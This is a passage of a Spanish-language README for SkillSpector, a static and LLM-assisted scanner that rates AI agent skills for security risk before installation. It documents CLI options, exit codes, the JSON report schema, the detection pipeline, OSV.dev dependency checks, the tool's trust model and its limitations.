SKILLSPECTOR_LOG_LEVELNivel de registro: DEBUG, INFO, WARNING, ERROR (predeterminado: WARNING).Opcional

Proveedores CLI (claude_cli, codex_cli): No se necesita ninguna clave de API. La autenticación es gestionada íntegramente por la propia sesión de inicio de sesión de la CLI del agente (claude auth login / codex login). SkillSpector nunca lee ni reenvía claves de API cuando estos proveedores están activos. El subproceso se ejecuta en un entorno aislado reforzado: herramientas deshabilitadas, sin MCP, modo de entorno aislado de solo lectura (codex), y el contenido de habilidades no confiable se entrega únicamente a través de stdin.

Opciones de CLI```bash

skillspector scan --help

Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit

Generate a baseline of all current findings (see docs/SUPPRESSION.md)

skillspector baseline [-o FILE] [--no-llm] [--reason TEXT]

## Integración de SkillSpector

SkillSpector está diseñado para ser controlado por otras herramientas (canalizaciones de CI, puertas de instalación, integraciones de editores). Su código de salida y su salida JSON son un contrato estable.

### Códigos de salida

`skillspector scan` finaliza con:

| Código | Significado |
|------|---------|
| `0` | Escaneo completado, `risk_score` ≤ 50 (recomendación `SAFE` o `CAUTION`) |
| `1` | Escaneo completado, `risk_score` > 50 (recomendación `DO_NOT_INSTALL`) |
| `2` | Error (entrada incorrecta, origen ilegible, fallo interno) |

> El código de salida colapsa `SAFE` y `CAUTION` en `0`. Para actuar de forma diferente ante ellos (p. ej., *advertir* ante `CAUTION` pero *bloquear* ante `DO_NOT_INSTALL`), lea el campo `recommendation` de la salida JSON en lugar de confiar en el código de salida.

### Salida legible por máquina

`--format json` produce un informe JSON; sin `--output`/`-o` se escribe en stdout:```bash
skillspector scan ./my-skill/ --format json

La forma de nivel superior es (este ejemplo muestra un escaneo completo respaldado por LLM; con --no-llm, metadata.llm_requested es false):```json { "skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" }, "risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" }, "components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ], "issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ], "metadata": { "has_executable_scripts": false, "skillspector_version": "...", "llm_requested": true, "llm_available": true, "inference_usage": [ { "node": "semantic_security_discovery", "request_kind": "structured_output", "provider": "nv_inference", "model": "azure/anthropic/claude-opus-4-6", "model_source": "provider_response", "usage_source": "provider_response", "prompt_tokens": 1000, "completion_tokens": 100, "cached_tokens": 400, "cache_write_tokens": 50, "total_tokens": 1100 } ] } }

- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`.
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`, asignado desde la severidad: `LOW → SAFE`, `MEDIUM → CAUTION`, `HIGH`/`CRITICAL → DO_NOT_INSTALL`.
- `metadata.llm_error` aparece solo cuando se solicitó el análisis LLM pero no estaba disponible.
- `metadata.inference_usage` contiene un registro saneado por cada respuesta del LLM cuando el
  proveedor expone contadores de tokens. Es una lista vacía cuando el uso no está disponible;
  SkillSpector nunca estima tokens faltantes. Los totales de prompt incluyen las lecturas y
  escrituras de caché para que los precios posteriores puedan separar esas particiones de forma segura.
  `model_source` distingue un modelo de proveedor identificado de forma independiente del
  modelo exacto solicitado utilizado cuando la identidad de la respuesta está ausente o es ambigua.
  SkillSpector actualmente no envía controles de caché de prompt de Anthropic, por lo que sus
  solicitudes de escaneo no pueden seleccionar los niveles separados de escritura de caché de 5 minutos o 1 hora;
  los campos de respuesta específicos de TTL se normalizan de forma defensiva en el contador
  agregado de escritura de caché.
- Consulte [Inference usage telemetry](https://github.com/nvidia/skillspector/blob/main/docs/INFERENCE_USAGE.md) para conocer el contrato completo de
  procedencia, contabilidad de caché, privacidad, ingesta fail-closed y precios posteriores.
- La forma completa por incidencia está definida por `Finding.to_dict()` en [models.py](https://github.com/nvidia/skillspector/blob/main/src/skillspector/models.py); confíe en los campos anteriores y trate cualquier campo adicional como best-effort.

Para herramientas de CI/IDE, `--format sarif` emite SARIF 2.1.0.

### Mapeo de gate recomendado

Cuando se utiliza SkillSpector como gate de instalación, asigne la recomendación a una acción:

| `recommendation` | Acción sugerida |
|------------------|------------------|
| `SAFE` | permitir |
| `CAUTION` | solicitar / advertir al usuario |
| `DO_NOT_INSTALL` | bloquear |

SkillSpector calcula la banda de puntuación y la recomendación; cuán estricto es el gate (por ejemplo, si `CAUTION` bloquea en CI) es una decisión de política para la herramienta que lo integra.

## Desarrollo

### Configuración

Todos los objetivos de `make` asumen que ya se ha creado y activado un entorno virtual. El Makefile usa **uv** si está disponible; de lo contrario, **pip**.```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev

# Run tests
make test

# Run tests with coverage
make test-cov

# Run linting
make lint

# Format code
make format

Cómo funciona

SkillSpector utiliza una canalización de detección de dos etapas:

Etapa 1: Análisis estático

  • Coincidencia de patrones rápida basada en regex en 11 analizadores estáticos
  • Análisis de comportamiento basado en AST que detecta llamadas peligrosas (exec, eval, subprocess, etc.)
  • Búsquedas de vulnerabilidades en vivo a través de OSV.dev para CVE conocidos en dependencias
  • Escanea todos los archivos elegibles para analizadores en la skill
  • Alta exhaustividad (detecta la mayoría de los problemas)
  • Precisión moderada (algunos falsos positivos)

Una firma válida de OpenSSF Model Signing a nivel raíz (skill.oms.sig) se conserva en el inventario de componentes como tipo oms_signature, pero se excluye del análisis de contenido estático y de LLM. Los paquetes OMS contienen necesariamente campos largos de payload, firma y certificado codificados en base64; las comprobaciones genéricas de código ofuscado pueden, de lo contrario, clasificar erróneamente esos campos como contenido ejecutable oculto. El reconocedor comprueba la estructura mínima OMS DSSE/in-toto; no verifica la firma, la cadena de certificados, la entrada del registro de transparencia ni la identidad del firmante. Los archivos de firma inválidos o no reconocidos se escanean de forma normal.

Etapa 2: Análisis semántico con LLM (opcional)

  • Evalúa el contexto y la intención
  • Filtra falsos positivos
  • Proporciona explicaciones legibles por humanos
  • Mejora la precisión hasta ~87%

El prompt del LLM incluye protecciones anti-jailbreak para evitar que skills maliciosas manipulen el análisis.

Búsquedas de vulnerabilidades en vivo (SC4)

SC4 utiliza la API de OSV.dev para comprobar dependencias contra la base de datos completa de Open Source Vulnerabilities — cubriendo decenas de miles de avisos en PyPI y npm.

  • No se requiere clave de API — OSV.dev es gratuito y no requiere autenticación.
  • Consultas por lotes — todas las dependencias se comprueban en una única llamada HTTP.
  • Respaldo automático — si OSV.dev no está disponible (entorno aislado/sin conexión), se utiliza una pequeña lista de respaldo integrada.
  • Caché — los resultados se almacenan en caché en memoria durante 1 hora para evitar llamadas redundantes a la API durante una sesión.

La herramienta requiere acceso HTTPS saliente a api.osv.dev para obtener datos de vulnerabilidades en vivo. Cuando no está disponible, los hallazgos se limitan a la lista de respaldo estática.

Modelo de confianza y salida de datos

SkillSpector es defensa en profundidad, no un sandbox. Conozca lo que hace y lo que no hace antes de confiar en él:

  • Nunca ejecuta la skill escaneada. Todo el análisis es estático (regex, AST de Python, YARA) más una evaluación opcional con LLM del contenido de los archivos — el código de la skill nunca se ejecuta.
  • El análisis con LLM envía el contenido de los archivos elegibles para analizadores al proveedor configurado. Cuando el análisis con LLM está habilitado (el valor predeterminado), el contenido de los archivos se envía al endpoint activo de SKILLSPECTOR_PROVIDER. Los archivos de firma OMS reconocidos se excluyen. Use --no-llm para mantener el contenido local (solo análisis estático).
  • SC4 envía nombres de dependencias a OSV.dev. La comprobación de cadena de suministro consulta OSV.dev con los nombres y versiones de paquetes que declara la skill, para buscar CVE conocidos. Esto es fundamental para la comprobación y se ejecuta incluso con --no-llm. Envía coordenadas de dependencias (no contenido de archivos), no requiere clave de API y recurre a una lista incluida cuando OSV.dev no está disponible.
  • No aísla el host. SkillSpector señala patrones de riesgo antes de que instale una skill; no contiene ni aísla una skill que decida instalar de todos modos.

Limitaciones

  • Contenido en otros idiomas: Puede pasar por alto patrones en otros idiomas
  • Ataques basados en imágenes: No puede analizar texto en imágenes
  • Código cifrado/binario: No puede analizar contenido compilado o cifrado
  • Comportamiento en tiempo de ejecución: Solo análisis estático, sin ejecución dinámica
  • SC4 sin conexión: Sin acceso de red a api.osv.dev, SC4 utiliza una pequeña lista de respaldo estática

Antecedentes de investigación

Basado en la investigación de "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026):

  • Conjunto de datos: 42.447 skills de los principales mercados
  • Vulnerables: 26,1% contienen al menos una vulnerabilidad
  • Alta severidad: 5,2% muestran intención probablemente maliciosa
  • Hallazgo clave: Las skills con scripts ejecutables tienen 2,12 veces más probabilidades de ser vulnerables

Integración con la API de Python```python

from skillspector import graph

Invoke the LangGraph workflow

result = graph.invoke({ "input_path": "/path/to/skill", "output_format": "json", # terminal, json, markdown, or sarif "use_llm": True, # False for static-only analysis })

Access results

print(f"Risk Score: {result['risk_score']}/100") print(f"Severity: {result['risk_severity']}") print(f"Recommendation: {result['risk_recommendation']}")

for finding in result["filtered_findings"]: print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")

## Licencia

Licencia Apache 2.0 - consulte [LICENSE](https://github.com/nvidia/skillspector/blob/main/LICENSE) para más detalles.

## Contribuciones

¡Las contribuciones son bienvenidas! Por favor, lea nuestras guías de contribución y envíe pull requests.

## Soporte

- **Issues**: [GitHub Issues](https://github.com/NVIDIA/skillspector/issues)

Categorías